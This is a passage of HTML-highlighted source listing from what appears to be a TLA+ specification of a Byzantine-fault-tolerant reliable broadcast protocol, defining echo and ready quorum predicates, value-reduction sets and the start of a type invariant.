&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;152&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;153&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;PLURALITY&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;154&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Unique&lt;/span&gt; &lt;span class="nb"&gt;max&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="err"&gt;⊥&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tied&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;155&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;PluralityAmongReceived&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;156&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;LET&lt;/span&gt; &lt;span class="n"&gt;maxCnt&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;MaxEchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;157&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;winners&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;EchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;maxCnt&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;158&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;winners&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;maxCnt&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;159&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;winners&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;160&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;161&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;162&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;CAN&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;REACH&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;QUORUM&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;163&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Can&lt;/span&gt; &lt;span class="n"&gt;any&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="n"&gt;still&lt;/span&gt; &lt;span class="n"&gt;reach&lt;/span&gt; &lt;span class="n"&gt;quorum&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;164&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CanReachQuorum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;165&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;LET&lt;/span&gt; &lt;span class="n"&gt;remaining&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;TotalReadys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;166&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;MaxReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;remaining&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;167&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;168&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;CAN&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;WIN&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;169&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Can&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="n"&gt;still&lt;/span&gt; &lt;span class="n"&gt;hit&lt;/span&gt; &lt;span class="n"&gt;quorum&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TRUE&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt; &lt;span class="n"&gt;question&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;170&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CanWin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;171&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;172&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;LET&lt;/span&gt; &lt;span class="n"&gt;remaining&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;N&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;TotalReadys&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;173&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;ReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;remaining&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Q&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;174&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;175&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ECHO&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;BACKING&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;176&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HasEchoBacking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;EchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Qe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;177&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;178&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;CAN&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;REACH&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ECHO&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;BACKING&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;179&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Discount&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="n"&gt;missing&lt;/span&gt; &lt;span class="n"&gt;senders&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;omit&lt;/span&gt; &lt;span class="n"&gt;forever&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;180&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HonestEchoSenders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;⟨&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="err"&gt;⟩&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;rcvd_echo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;181&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;182&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CanReachEchoBacking&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;183&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;LET&lt;/span&gt; &lt;span class="n"&gt;honestRemaining&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;HonestEchoSenders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;184&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;MaxEchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;honestRemaining&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Qe&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;185&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;186&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;187&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;Nondeterminism&lt;/span&gt; &lt;span class="n"&gt;Reduction&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;188&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;189&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;190&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Limit&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;interesting&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;could&lt;/span&gt; &lt;span class="n"&gt;affect&lt;/span&gt; &lt;span class="n"&gt;outcome&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;191&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Sound&lt;/span&gt; &lt;span class="n"&gt;because&lt;/span&gt; &lt;span class="n"&gt;unknown&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;t reach thresholds (honest won&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;192&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;193&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;194&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Values&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;in play&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;195&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;InterestingEchoValues&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;196&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;197&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;EchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Already&lt;/span&gt; &lt;span class="n"&gt;seen&lt;/span&gt; &lt;span class="n"&gt;echoes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;198&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;199&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;InterestingReadyValues&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;200&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;201&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;EchoCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Echoed&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;202&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∪&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;ReadyCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Already&lt;/span&gt; &lt;span class="n"&gt;seen&lt;/span&gt; &lt;span class="n"&gt;readies&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;203&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;204&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;205&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Type&lt;/span&gt; &lt;span class="n"&gt;Invariant&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;206&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;207&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;TypeOK&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;208&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;209&lt;/span&gt;&lt;span class="cl"&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;
